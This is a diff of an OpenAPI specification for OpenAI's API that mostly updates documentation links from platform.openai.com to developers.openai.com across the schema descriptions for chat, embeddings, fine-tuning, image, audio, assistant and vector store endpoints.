@@ -31804,7 +31846,10 @@ components:
}
CreateChatCompletionStreamResponse:
type: object
- description: "Represents a streamed chunk of a chat completion response returned\nby the model, based on the provided input. \n[Learn more](https://platform.openai.com/docs/guides/streaming-responses).\n"
+ description: |
+ Represents a streamed chunk of a chat completion response returned
+ by the model, based on the provided input.
+ [Learn more](https://developers.openai.com/api/docs/guides/streaming-responses).
properties:
id:
type: string
@@ -31928,7 +31973,7 @@ components:
properties:
model:
description: |
- ID of the model to use. You can use the [List models](https://platform.openai.com/docs/api-reference/models/list) API to see all of your available models, or see our [Model overview](https://platform.openai.com/docs/models) for descriptions of them.
+ ID of the model to use. You can use the [List models](https://developers.openai.com/api/reference/resources/models/methods/list) API to see all of your available models, or see our [Model overview](https://developers.openai.com/api/docs/models) for descriptions of them.
anyOf:
- type: string
- type: string
@@ -31994,7 +32039,7 @@ components:
description: |
Number between -2.0 and 2.0. Positive values penalize new tokens based on their existing frequency in the text so far, decreasing the model's likelihood to repeat the same line verbatim.
- [See more information about frequency and presence penalties.](https://platform.openai.com/docs/guides/text-generation)
+ [See more information about frequency and presence penalties.](https://developers.openai.com/api/docs/guides/text)
logit_bias:
type: object
x-oaiTypeLabel: map
@@ -32005,7 +32050,7 @@ components:
description: |
Modify the likelihood of specified tokens appearing in the completion.
- Accepts a JSON object that maps tokens (specified by their token ID in the GPT tokenizer) to an associated bias value from -100 to 100. You can use this [tokenizer tool](/tokenizer?view=bpe) to convert text to token IDs. Mathematically, the bias is added to the logits generated by the model prior to sampling. The exact effect will vary per model, but values between -1 and 1 should decrease or increase likelihood of selection; values like -100 or 100 should result in a ban or exclusive selection of the relevant token.
+ Accepts a JSON object that maps tokens (specified by their token ID in the GPT tokenizer) to an associated bias value from -100 to 100. You can use this [tokenizer tool](https://platform.openai.com/tokenizer?view=bpe) to convert text to token IDs. Mathematically, the bias is added to the logits generated by the model prior to sampling. The exact effect will vary per model, but values between -1 and 1 should decrease or increase likelihood of selection; values like -100 or 100 should result in a ban or exclusive selection of the relevant token.
As an example, you can pass `{"50256": -100}` to prevent the <|endoftext|> token from being generated.
logprobs:
@@ -32025,7 +32070,7 @@ components:
example: 16
nullable: true
description: |
- The maximum number of [tokens](/tokenizer) that can be generated in the completion.
+ The maximum number of [tokens](https://platform.openai.com/tokenizer) that can be generated in the completion.
The token count of your prompt plus `max_tokens` cannot exceed the model's context length. [Example Python code](https://cookbook.openai.com/examples/how_to_count_tokens_with_tiktoken) for counting tokens.
n:
@@ -32048,7 +32093,7 @@ components:
description: |
Number between -2.0 and 2.0. Positive values penalize new tokens based on whether they appear in the text so far, increasing the model's likelihood to talk about new topics.
- [See more information about frequency and presence penalties.](https://platform.openai.com/docs/guides/text-generation)
+ [See more information about frequency and presence penalties.](https://developers.openai.com/api/docs/guides/text)
seed:
type: integer
format: int64
@@ -32102,7 +32147,7 @@ components:
type: string
example: user-1234
description: |
- A unique identifier representing your end-user, which can help OpenAI to monitor and detect abuse. [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#end-user-ids).
+ A unique identifier representing your end-user, which can help OpenAI to monitor and detect abuse. [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
required:
- model
- prompt
@@ -32281,7 +32326,7 @@ components:
properties:
input:
description: |
- Input text to embed, encoded as a string or array of tokens. To embed multiple inputs in a single request, pass an array of strings or array of token arrays. The input must not exceed the max input tokens for the model (8192 tokens for all embedding models), cannot be an empty string, and any array must be 2048 dimensions or less. [Example Python code](https://cookbook.openai.com/examples/how_to_count_tokens_with_tiktoken) for counting tokens. In addition to the per-input token limit, all embedding models enforce a maximum of 300,000 tokens summed across all inputs in a single request.
+ Input text to embed, encoded as a string or array of tokens. To embed multiple inputs in a single request, pass an array of strings or array of token arrays. The input must not exceed the max input tokens for the model (8192 tokens for all embedding models), cannot be an empty string, and any array must be 2048 dimensions or less. [Example Python code](https://cookbook.openai.com/examples/how_to_count_tokens_with_tiktoken) for counting tokens. In addition to the per-input token limit, all embedding models enforce a maximum of 300,000 tokens summed across all inputs in a single request.
example: The quick brown fox jumped over the lazy dog
anyOf:
- type: string
@@ -32317,7 +32362,7 @@ components:
type: integer
model:
description: |
- ID of the model to use. You can use the [List models](https://platform.openai.com/docs/api-reference/models/list) API to see all of your available models, or see our [Model overview](https://platform.openai.com/docs/models) for descriptions of them.
+ ID of the model to use. You can use the [List models](https://developers.openai.com/api/reference/resources/models/methods/list) API to see all of your available models, or see our [Model overview](https://developers.openai.com/api/docs/models) for descriptions of them.
example: text-embedding-3-small
anyOf:
- type: string
@@ -32345,7 +32390,7 @@ components:
type: string
example: user-1234
description: |
- A unique identifier representing your end-user, which can help OpenAI to monitor and detect abuse. [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#end-user-ids).
+ A unique identifier representing your end-user, which can help OpenAI to monitor and detect abuse. [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
required:
- model
- input
@@ -32460,7 +32505,7 @@ components:
Setting to `{ "type": "json_schema", "json_schema": {...} }` enables
Structured Outputs which ensures the model will match your supplied JSON
schema. Learn more in the [Structured Outputs
- guide](https://platform.openai.com/docs/guides/structured-outputs).
+ guide](https://developers.openai.com/api/docs/guides/structured-outputs).
Setting to `{ "type": "json_object" }` enables the older JSON mode, which
ensures the message the model generates is valid JSON. Using `json_schema`
@@ -32818,12 +32863,12 @@ components:
The two categories of tools you can provide the model are:
- **Built-in tools**: Tools that are provided by OpenAI that extend the
- model's capabilities, like [web search](https://platform.openai.com/docs/guides/tools-web-search)
- or [file search](https://platform.openai.com/docs/guides/tools-file-search). Learn more about
- [built-in tools](https://platform.openai.com/docs/guides/tools).
+ model's capabilities, like [web search](https://developers.openai.com/api/docs/guides/tools-web-search)
+ or [file search](https://developers.openai.com/api/docs/guides/tools-file-search). Learn more about
+ [built-in tools](https://developers.openai.com/api/docs/guides/tools).
- **Function calls (custom tools)**: Functions that are defined by you,
enabling the model to call your own code. Learn more about
- [function calling](https://platform.openai.com/docs/guides/function-calling).
+ [function calling](https://developers.openai.com/api/docs/guides/function-calling).
items:
$ref: '#/components/schemas/Tool'
text:
@@ -32831,8 +32876,8 @@ components:
description: |
Configuration options for a text response from the model. Can be plain
text or structured JSON data. Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Structured Outputs](https://platform.openai.com/docs/guides/structured-outputs)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs)
properties:
format:
$ref: '#/components/schemas/TextResponseFormatConfiguration'
@@ -32960,7 +33005,7 @@ components:
model:
description: |
The name of the model to fine-tune. You can select one of the
- [supported models](https://platform.openai.com/docs/guides/fine-tuning#which-models-can-be-fine-tuned).
+ [supported models](https://developers.openai.com/api/docs/guides/model-optimization#fine-tuning-methods).
example: gpt-4o-mini
anyOf:
- type: string
@@ -32976,13 +33021,13 @@ components:
description: |
The ID of an uploaded file that contains training data.
- See [upload file](https://platform.openai.com/docs/api-reference/files/create) for how to upload a file.
+ See [upload file](https://developers.openai.com/api/reference/resources/files/methods/create) for how to upload a file.
Your dataset must be formatted as a JSONL file. Additionally, you must upload your file with the purpose `fine-tune`.
- The contents of the file should differ depending on if the model uses the [chat](https://platform.openai.com/docs/api-reference/fine-tuning/chat-input), [completions](https://platform.openai.com/docs/api-reference/fine-tuning/completions-input) format, or if the fine-tuning method uses the [preference](https://platform.openai.com/docs/api-reference/fine-tuning/preference-input) format.
+ The contents of the file should differ depending on if the model uses the [chat](https://developers.openai.com/api/docs/guides/supervised-fine-tuning#formatting-your-data), [completions](https://developers.openai.com/api/docs/guides/supervised-fine-tuning#formatting-your-data) format, or if the fine-tuning method uses the [preference](https://developers.openai.com/api/docs/guides/direct-preference-optimization) format.
- See the [fine-tuning guide](https://platform.openai.com/docs/guides/model-optimization) for more details.
+ See the [fine-tuning guide](https://developers.openai.com/api/docs/guides/model-optimization) for more details.
type: string
example: file-abc123
hyperparameters:
@@ -33054,7 +33099,7 @@ components:
Your dataset must be formatted as a JSONL file. You must upload your file with the purpose `fine-tune`.
- See the [fine-tuning guide](https://platform.openai.com/docs/guides/model-optimization) for more details.
+ See the [fine-tuning guide](https://developers.openai.com/api/docs/guides/model-optimization) for more details.
type: string
nullable: true
example: file-abc123
@@ -33287,7 +33332,7 @@ components:
type: string
example: user-1234
description: |
- A unique identifier representing your end-user, which can help OpenAI to monitor and detect abuse. [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#end-user-ids).
+ A unique identifier representing your end-user, which can help OpenAI to monitor and detect abuse. [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
input_fidelity:
anyOf:
- $ref: '#/components/schemas/InputFidelity'
@@ -33300,7 +33345,7 @@ components:
nullable: true
description: |
Edit the image in streaming mode. Defaults to `false`. See the
- [Image generation guide](https://platform.openai.com/docs/guides/image-generation) for more information.
+ [Image generation guide](https://developers.openai.com/api/docs/guides/image-generation) for more information.
partial_images:
$ref: '#/components/schemas/PartialImages'
quality:
@@ -33414,7 +33459,7 @@ components:
nullable: true
description: |
Generate the image in streaming mode. Defaults to `false`. See the
- [Image generation guide](https://platform.openai.com/docs/guides/image-generation) for more information.
+ [Image generation guide](https://developers.openai.com/api/docs/guides/image-generation) for more information.
This parameter is only supported for the GPT image models.
partial_images:
$ref: '#/components/schemas/PartialImages'
@@ -33475,7 +33520,7 @@ components:
type: string
example: user-1234
description: |
- A unique identifier representing your end-user, which can help OpenAI to monitor and detect abuse. [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#end-user-ids).
+ A unique identifier representing your end-user, which can help OpenAI to monitor and detect abuse. [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
required:
- prompt
CreateImageVariationRequest:
@@ -33528,7 +33573,7 @@ components:
type: string
example: user-1234
description: |
- A unique identifier representing your end-user, which can help OpenAI to monitor and detect abuse. [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#end-user-ids).
+ A unique identifier representing your end-user, which can help OpenAI to monitor and detect abuse. [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
required:
- image
CreateMessageRequest:
@@ -33553,7 +33598,7 @@ components:
description: The text contents of the message.
title: Text content
- type: array
- description: An array of content parts with a defined type, each can be of type `text` or images can be passed with `image_url` or `image_file`. Image types are only supported on [Vision-compatible models](https://platform.openai.com/docs/models).
+ description: An array of content parts with a defined type, each can be of type `text` or images can be passed with `image_url` or `image_file`. Image types are only supported on [Vision-compatible models](https://developers.openai.com/api/docs/models).
title: Array of content parts
items:
anyOf:
@@ -33636,8 +33681,8 @@ components:
model:
description: |
The content moderation model you would like to use. Learn more in
- [the moderation guide](https://platform.openai.com/docs/guides/moderation), and learn about
- available models [here](https://platform.openai.com/docs/models#moderation).
+ [the moderation guide](https://developers.openai.com/api/docs/guides/moderation), and learn about
+ available models [here](https://developers.openai.com/api/docs/guides/moderation).
nullable: false
x-oaiTypeLabel: string
anyOf:
@@ -34069,7 +34114,7 @@ components:
Whether to store the generated model response for later retrieval via
API.
Defaults to true when omitted.
- If set to true, response data will be stored for at least 30 days, subject to the [data retention exceptions](/api/docs/guides/your-data#v1responses).
+ If set to true, response data will be stored for at least 30 days, subject to the [data retention exceptions](https://developers.openai.com/api/docs/guides/your-data#v1responses).
default: true
- type: 'null'
instructions:
@@ -34093,7 +34138,7 @@ components:
- description: |
If set to true, the model response data will be streamed to the client
as it is generated using [server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
- See the [Streaming section below](https://platform.openai.com/docs/api-reference/responses-streaming)
+ See the [Streaming section below](https://developers.openai.com/api/reference/resources/responses/streaming-events)
for more information.
type: boolean
default: false
@@ -34116,7 +34161,7 @@ components:
max_output_tokens:
anyOf:
- description: |
- An upper bound for the number of tokens that can be generated for a response, including visible output tokens and [reasoning tokens](https://platform.openai.com/docs/guides/reasoning).
+ An upper bound for the number of tokens that can be generated for a response, including visible output tokens and [reasoning tokens](https://developers.openai.com/api/docs/guides/reasoning).
type: integer
minimum: 16
- type: 'null'
@@ -34125,10 +34170,10 @@ components:
additionalProperties: false
properties:
assistant_id:
- description: The ID of the [assistant](https://platform.openai.com/docs/api-reference/assistants) to use to execute this run.
+ description: The ID of the [assistant](https://developers.openai.com/api/docs/assistants/migration) to use to execute this run.
type: string
model:
- description: The ID of the [Model](https://platform.openai.com/docs/api-reference/models) to be used to execute this run. If a value is provided here, it will override the model associated with the assistant. If not, the model associated with the assistant will be used.
+ description: The ID of the [Model](https://developers.openai.com/api/reference/resources/models) to be used to execute this run. If a value is provided here, it will override the model associated with the assistant. If not, the model associated with the assistant will be used.
nullable: true
anyOf:
- type: string
@@ -34137,7 +34182,7 @@ components:
reasoning_effort:
$ref: '#/components/schemas/ReasoningEffort'
instructions:
- description: Overrides the [instructions](https://platform.openai.com/docs/api-reference/assistants/createAssistant) of the assistant. This is useful for modifying the behavior on a per-run basis.
+ description: Overrides the [instructions](https://developers.openai.com/api/docs/assistants/migration) of the assistant. This is useful for modifying the behavior on a per-run basis.
type: string
nullable: true
additional_instructions:
@@ -34217,7 +34262,7 @@ components:
properties:
model:
description: |
- One of the available [TTS models](https://platform.openai.com/docs/models#tts): `tts-1`, `tts-1-hd`, `gpt-4o-mini-tts`, or `gpt-4o-mini-tts-2025-12-15`.
+ One of the available [TTS models](https://developers.openai.com/api/docs/guides/text-to-speech): `tts-1`, `tts-1-hd`, `gpt-4o-mini-tts`, or `gpt-4o-mini-tts-2025-12-15`.
anyOf:
- type: string
- type: string
@@ -34237,7 +34282,7 @@ components:
description: Control the voice of your generated audio with additional instructions. Does not work with `tts-1` or `tts-1-hd`.
maxLength: 4096
voice:
- description: 'The voice to use when generating the audio. Supported built-in voices are `alloy`, `ash`, `ballad`, `coral`, `echo`, `fable`, `onyx`, `nova`, `sage`, `shimmer`, `verse`, `marin`, and `cedar`. You may also provide a custom voice object with an `id`, for example `{ "id": "voice_1234" }`. Previews of the voices are available in the [Text to speech guide](https://platform.openai.com/docs/guides/text-to-speech#voice-options).'
+ description: 'The voice to use when generating the audio. Supported built-in voices are `alloy`, `ash`, `ballad`, `coral`, `echo`, `fable`, `onyx`, `nova`, `sage`, `shimmer`, `verse`, `marin`, and `cedar`. You may also provide a custom voice object with an `id`, for example `{ "id": "voice_1234" }`. Previews of the voices are available in the [Text to speech guide](https://developers.openai.com/api/docs/guides/text-to-speech#voice-options).'
$ref: '#/components/schemas/VoiceIdsOrCustomVoice'
response_format:
description: The format to audio in. Supported formats are `mp3`, `opus`, `aac`, `flac`, `wav`, and `pcm`.
@@ -34303,12 +34348,12 @@ components:
additionalProperties: false
properties:
assistant_id:
- description: The ID of the [assistant](https://platform.openai.com/docs/api-reference/assistants) to use to execute this run.
+ description: The ID of the [assistant](https://developers.openai.com/api/docs/assistants/migration) to use to execute this run.
type: string
thread:
$ref: '#/components/schemas/CreateThreadRequest'
model:
- description: The ID of the [Model](https://platform.openai.com/docs/api-reference/models) to be used to execute this run. If a value is provided here, it will override the model associated with the assistant. If not, the model associated with the assistant will be used.
+ description: The ID of the [Model](https://developers.openai.com/api/reference/resources/models) to be used to execute this run. If a value is provided here, it will override the model associated with the assistant. If not, the model associated with the assistant will be used.
nullable: true
anyOf:
- type: string
@@ -34375,7 +34420,7 @@ components:
file_ids:
type: array
description: |
- A list of [file](https://platform.openai.com/docs/api-reference/files) IDs made available to the `code_interpreter` tool. There can be a maximum of 20 files associated with the tool.
+ A list of [file](https://developers.openai.com/api/reference/resources/files) IDs made available to the `code_interpreter` tool. There can be a maximum of 20 files associated with the tool.
default: []
maxItems: 20
items:
@@ -34386,7 +34431,7 @@ components:
vector_store_ids:
type: array
description: |
- The ID of the [vector store](https://platform.openai.com/docs/api-reference/vector-stores/object) attached to this assistant. There can be a maximum of 1 vector store attached to the assistant.
+ The ID of the [vector store](https://developers.openai.com/api/reference/resources/vector_stores) attached to this assistant. There can be a maximum of 1 vector store attached to the assistant.
maxItems: 1
items:
type: string
@@ -34453,7 +34498,7 @@ components:
additionalProperties: false
properties:
messages:
- description: A list of [messages](https://platform.openai.com/docs/api-reference/messages) to start the thread with.
+ description: A list of [messages](https://developers.openai.com/api/docs/assistants/migration) to start the thread with.
type: array
items:
$ref: '#/components/schemas/CreateMessageRequest'
@@ -34469,7 +34514,7 @@ components:
file_ids:
type: array
description: |
- A list of [file](https://platform.openai.com/docs/api-reference/files) IDs made available to the `code_interpreter` tool. There can be a maximum of 20 files associated with the tool.
+ A list of [file](https://developers.openai.com/api/reference/resources/files) IDs made available to the `code_interpreter` tool. There can be a maximum of 20 files associated with the tool.
default: []
maxItems: 20
items:
@@ -34480,14 +34525,14 @@ components:
vector_store_ids:
type: array
description: |
- The [vector store](https://platform.openai.com/docs/api-reference/vector-stores/object) attached to this thread. There can be a maximum of 1 vector store attached to the thread.
+ The [vector store](https://developers.openai.com/api/reference/resources/vector_stores) attached to this thread. There can be a maximum of 1 vector store attached to the thread.
maxItems: 1
items:
type: string
vector_stores:
type: array
description: |
- A helper to create a [vector store](https://platform.openai.com/docs/api-reference/vector-stores/object) with file_ids and attach it to this thread. There can be a maximum of 1 vector store attached to the thread.
+ A helper to create a [vector store](https://developers.openai.com/api/reference/resources/vector_stores) with file_ids and attach it to this thread. There can be a maximum of 1 vector store attached to the thread.
maxItems: 1
items:
type: object
@@ -34495,7 +34540,7 @@ components:
file_ids:
type: array
description: |
- A list of [file](https://platform.openai.com/docs/api-reference/files) IDs to add to the vector store. For vector stores created before Nov 2025, there can be a maximum of 10,000 files in a vector store. For vector stores created starting in Nov 2025, the limit is 100,000,000 files.
+ A list of [file](https://developers.openai.com/api/reference/resources/files) IDs to add to the vector store. For vector stores created before Nov 2025, there can be a maximum of 10,000 files in a vector store. For vector stores created starting in Nov 2025, the limit is 100,000,000 files.
maxItems: 100000000
items:
type: string
@@ -34608,7 +34653,7 @@ components:
type: string
prompt:
description: |
- An optional text to guide the model's style or continue a previous audio segment. The [prompt](https://platform.openai.com/docs/guides/speech-to-text#prompting) should match the audio language. This field is not supported when using `gpt-4o-transcribe-diarize`.
+ An optional text to guide the model's style or continue a previous audio segment. The [prompt](https://developers.openai.com/api/docs/guides/speech-to-text#prompting) should match the audio language. This field is not supported when using `gpt-4o-transcribe-diarize`.
type: string
response_format:
$ref: '#/components/schemas/AudioResponseFormat'
@@ -34644,7 +34689,7 @@ components:
- description: |
If set to true, the model response data will be streamed to the client
as it is generated using [server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
- See the [Streaming section of the Speech-to-Text guide](https://platform.openai.com/docs/guides/speech-to-text?lang=curl#streaming-transcriptions)
+ See the [Streaming section of the Speech-to-Text guide](https://developers.openai.com/api/docs/guides/speech-to-text?lang=curl#streaming)
for more information.
Note: Streaming is not supported for the `whisper-1` model and will be ignored.
@@ -34893,7 +34938,7 @@ components:
x-oaiTypeLabel: string
prompt:
description: |
- An optional text to guide the model's style or continue a previous audio segment. The [prompt](https://platform.openai.com/docs/guides/speech-to-text#prompting) should be in English.
+ An optional text to guide the model's style or continue a previous audio segment. The [prompt](https://developers.openai.com/api/docs/guides/speech-to-text#prompting) should be in English.
type: string
response_format:
description: |
@@ -34956,7 +35001,7 @@ components:
The intended purpose of the uploaded file.
See the [documentation on File
- purposes](https://platform.openai.com/docs/api-reference/files/create#files-create-purpose).
+ purposes](https://developers.openai.com/api/reference/resources/files/methods/create#%28resource%29%20files%20%3E%20%28method%29%20create%20%3E%20%28params%29%200%20%3E%20%28param%29%20purpose%20%3E%20%28schema%29).
type: string
enum:
- assistants
@@ -34987,7 +35032,7 @@ components:
additionalProperties: false
properties:
file_ids:
- description: A list of [File](https://platform.openai.com/docs/api-reference/files) IDs that the vector store should use. Useful for tools like `file_search` that can access files. If `attributes` or `chunking_strategy` are provided, they will be applied to all files in the batch. The maximum batch size is 2000 files. This endpoint is recommended for multi-file ingestion and helps reduce per-vector-store write request pressure. Mutually exclusive with `files`.
+ description: A list of [File](https://developers.openai.com/api/reference/resources/files) IDs that the vector store should use. Useful for tools like `file_search` that can access files. If `attributes` or `chunking_strategy` are provided, they will be applied to all files in the batch. The maximum batch size is 2000 files. This endpoint is recommended for multi-file ingestion and helps reduce per-vector-store write request pressure. Mutually exclusive with `files`.
type: array
minItems: 1
maxItems: 2000
@@ -35009,7 +35054,7 @@ components:
additionalProperties: false
properties:
file_id:
- description: A [File](https://platform.openai.com/docs/api-reference/files) ID that the vector store should use. Useful for tools like `file_search` that can access files. For multi-file ingestion, we recommend [`file_batches`](https://platform.openai.com/docs/api-reference/vector-stores-file-batches/createBatch) to minimize per-vector-store write requests.
+ description: A [File](https://developers.openai.com/api/reference/resources/files) ID that the vector store should use. Useful for tools like `file_search` that can access files. For multi-file ingestion, we recommend [`file_batches`](https://developers.openai.com/api/reference/resources/vector_stores/subresources/file_batches/methods/create) to minimize per-vector-store write requests.
type: string
chunking_strategy:
$ref: '#/components/schemas/ChunkingStrategyRequestParam'
@@ -35022,7 +35067,7 @@ components:
additionalProperties: false
properties:
file_ids:
- description: A list of [File](https://platform.openai.com/docs/api-reference/files) IDs that the vector store should use. Useful for tools like `file_search` that can access files.
+ description: A list of [File](https://developers.openai.com/api/reference/resources/files) IDs that the vector store should use. Useful for tools like `file_search` that can access files.
type: array
maxItems: 500
items:
@@ -35693,7 +35738,7 @@ components:
embedding:
type: array
description: |
- The embedding vector, which is a list of floats. The length of vector depends on the model as listed in the [embedding guide](https://platform.openai.com/docs/guides/embeddings).
+ The embedding vector, which is a list of floats. The length of vector depends on the model as listed in the [embedding guide](https://developers.openai.com/api/docs/guides/embeddings).
items:
type: number
format: float
@@ -35755,9 +35800,9 @@ components:
required:
- event
- data
- description: Occurs when an [error](https://platform.openai.com/docs/guides/error-codes#api-errors) occurs. This can happen due to an internal server error or a timeout.
+ description: Occurs when an [error](https://developers.openai.com/api/docs/guides/error-codes#api-errors) occurs. This can happen due to an internal server error or a timeout.
x-oaiMeta:
- dataDescription: '`data` is an [error](/docs/guides/error-codes#api-errors)'
+ dataDescription: '`data` is an [error](https://developers.openai.com/api/docs/guides/error-codes#api-errors)'
ErrorResponse:
type: object
properties:
@@ -37232,7 +37277,7 @@ components:
description: |
The ranking options for the file search. If not specified, the file search tool will use the `auto` ranker and a score_threshold of 0.
- See the [file search tool documentation](https://platform.openai.com/docs/assistants/tools/file-search#customizing-file-search-settings) for more information.
+ See the [file search tool documentation](https://developers.openai.com/api/docs/guides/tools-file-search#retrieval-customization) for more information.
properties:
ranker:
$ref: '#/components/schemas/FileSearchRanker'
@@ -37248,7 +37293,7 @@ components:
title: File search tool call
description: |
The results of a file search tool call. See the
- [file search guide](https://platform.openai.com/docs/guides/tools-file-search) for more information.
+ [file search guide](https://developers.openai.com/api/docs/guides/tools-file-search) for more information.
properties:
id:
type: string
@@ -37738,7 +37783,7 @@ components:
description: The organization that owns the fine-tuning job.
result_files:
type: array
- description: The compiled results file ID(s) for the fine-tuning job. You can retrieve the results with the [Files API](https://platform.openai.com/docs/api-reference/files/retrieve-contents).
+ description: The compiled results file ID(s) for the fine-tuning job. You can retrieve the results with the [Files API](https://developers.openai.com/api/reference/resources/files/methods/content).
items:
type: string
example: file-abc123
@@ -37759,11 +37804,11 @@ components:
- type: 'null'
training_file:
type: string
- description: The file ID used for training. You can retrieve the training data with the [Files API](https://platform.openai.com/docs/api-reference/files/retrieve-contents).
+ description: The file ID used for training. You can retrieve the training data with the [Files API](https://developers.openai.com/api/reference/resources/files/methods/content).
validation_file:
anyOf:
- type: string
- description: The file ID used for validation. You can retrieve the validation results with the [Files API](https://platform.openai.com/docs/api-reference/files/retrieve-contents).
+ description: The file ID used for validation. You can retrieve the validation results with the [Files API](https://developers.openai.com/api/reference/resources/files/methods/content).
- type: 'null'
integrations:
anyOf:
@@ -37995,18 +38040,23 @@ components:
anyOf:
- type: boolean
default: false
- description: Whether to enable strict schema adherence when generating the function call. If set to true, the model will follow the exact schema defined in the `parameters` field. Only a subset of JSON Schema is supported when `strict` is `true`. Learn more about Structured Outputs in the [function calling guide](https://platform.openai.com/docs/guides/function-calling).
+ description: Whether to enable strict schema adherence when generating the function call. If set to true, the model will follow the exact schema defined in the `parameters` field. Only a subset of JSON Schema is supported when `strict` is `true`. Learn more about Structured Outputs in the [function calling guide](https://developers.openai.com/api/docs/guides/function-calling).
- type: 'null'
required:
- name
FunctionParameters:
type: object
- description: "The parameters the functions accepts, described as a JSON Schema object. See the [guide](https://platform.openai.com/docs/guides/function-calling) for examples, and the [JSON Schema reference](https://json-schema.org/understanding-json-schema/) for documentation about the format. \n\nOmitting `parameters` defines a function with an empty parameter list."
+ description: |-
+ The parameters the functions accepts, described as a JSON Schema object. See the [guide](https://developers.openai.com/api/docs/guides/function-calling) for examples, and the [JSON Schema reference](https://json-schema.org/understanding-json-schema/) for documentation about the format.
+
+ Omitting `parameters` defines a function with an empty parameter list.
additionalProperties: true
FunctionToolCall:
type: object
title: Function tool call
- description: "A tool call to run a function. See the \n[function calling guide](https://platform.openai.com/docs/guides/function-calling) for more information.\n"
+ description: |
+ A tool call to run a function. See the
+ [function calling guide](https://developers.openai.com/api/docs/guides/function-calling) for more information.
properties:
id:
type: string
@@ -39730,11 +39780,11 @@ components:
Text, image, or file inputs to the model, used to generate a response.
Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Image inputs](https://platform.openai.com/docs/guides/images)
- - [File inputs](https://platform.openai.com/docs/guides/pdf-files)
- - [Conversation state](https://platform.openai.com/docs/guides/conversation-state)
- - [Function calling](https://platform.openai.com/docs/guides/function-calling)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Image inputs](https://developers.openai.com/api/docs/guides/images-vision)
+ - [File inputs](https://developers.openai.com/api/docs/guides/file-inputs)
+ - [Conversation state](https://developers.openai.com/api/docs/guides/conversation-state)
+ - [Function calling](https://developers.openai.com/api/docs/guides/function-calling)
anyOf:
- type: string
title: Text input
@@ -40729,7 +40779,7 @@ components:
title: MCP tool
description: |
Give the model access to additional tools via remote Model Context Protocol
- (MCP) servers. [Learn more about MCP](https://platform.openai.com/docs/guides/tools-remote-mcp).
+ (MCP) servers. [Learn more about MCP](https://developers.openai.com/api/docs/guides/tools-connectors-mcp).
properties:
type:
type: string
@@ -40761,7 +40811,7 @@ components:
description: |
Identifier for service connectors, like those available in ChatGPT. One of
`server_url`, `connector_id`, or `tunnel_id` must be provided. Learn more
- about service connectors [here](https://platform.openai.com/docs/guides/tools-remote-mcp#connectors).
+ about service connectors [here](https://developers.openai.com/api/docs/guides/tools-connectors-mcp#connectors).
Currently supported `connector_id` values are:
@@ -40939,7 +40989,7 @@ components:
MessageContentImageFileObject:
title: Image file
type: object
- description: References an image [File](https://platform.openai.com/docs/api-reference/files) in the content of a message.
+ description: References an image [File](https://developers.openai.com/api/reference/resources/files) in the content of a message.
properties:
type:
description: Always `image_file`.
@@ -40951,7 +41001,7 @@ components:
type: object
properties:
file_id:
- description: The [File](https://platform.openai.com/docs/api-reference/files) ID of the image in the message content. Set `purpose="vision"` when uploading the File if you need to later display the file content.
+ description: The [File](https://developers.openai.com/api/reference/resources/files) ID of the image in the message content. Set `purpose="vision"` when uploading the File if you need to later display the file content.
type: string
detail:
type: string
@@ -41111,7 +41161,7 @@ components:
MessageDeltaContentImageFileObject:
title: Image file
type: object
- description: References an image [File](https://platform.openai.com/docs/api-reference/files) in the content of a message.
+ description: References an image [File](https://developers.openai.com/api/reference/resources/files) in the content of a message.
properties:
index:
type: integer
@@ -41126,7 +41176,7 @@ components:
type: object
properties:
file_id:
- description: The [File](https://platform.openai.com/docs/api-reference/files) ID of the image in the message content. Set `purpose="vision"` when uploading the File if you need to later display the file content.
+ description: The [File](https://developers.openai.com/api/reference/resources/files) ID of the image in the message content. Set `purpose="vision"` when uploading the File if you need to later display the file content.
type: string
detail:
type: string
@@ -41338,7 +41388,7 @@ components:
MessageObject:
type: object
title: The message object
- description: Represents a message within a [thread](https://platform.openai.com/docs/api-reference/threads).
+ description: Represents a message within a [thread](https://developers.openai.com/api/docs/assistants/migration).
properties:
id:
description: The identifier, which can be referenced in API endpoints.
@@ -41354,7 +41404,7 @@ components:
type: integer
format: unixtime
thread_id:
- description: The [thread](https://platform.openai.com/docs/api-reference/threads) ID that this message belongs to.
+ description: The [thread](https://developers.openai.com/api/docs/assistants/migration) ID that this message belongs to.
type: string
status:
description: The status of the message, which can be either `in_progress`, `incomplete`, or `completed`.
@@ -41405,12 +41455,12 @@ components:
$ref: '#/components/schemas/MessageContent'
assistant_id:
anyOf:
- - description: If applicable, the ID of the [assistant](https://platform.openai.com/docs/api-reference/assistants) that authored this message.
+ - description: If applicable, the ID of the [assistant](https://developers.openai.com/api/docs/assistants/migration) that authored this message.
type: string
- type: 'null'
run_id:
anyOf:
- - description: The ID of the [run](https://platform.openai.com/docs/api-reference/runs) associated with the creation of this message. Value is `null` when messages are created manually using the create message or create thread endpoints.
+ - description: The ID of the [run](https://developers.openai.com/api/docs/assistants/migration) associated with the creation of this message. Value is `null` when messages are created manually using the create message or create thread endpoints.
type: string
- type: 'null'
attachments:
@@ -41512,9 +41562,9 @@ components:
required:
- event
- data
- description: Occurs when a [message](https://platform.openai.com/docs/api-reference/messages/object) is created.
+ description: Occurs when a [message](https://developers.openai.com/api/docs/assistants/migration) is created.
x-oaiMeta:
- dataDescription: '`data` is a [message](/docs/api-reference/messages/object)'
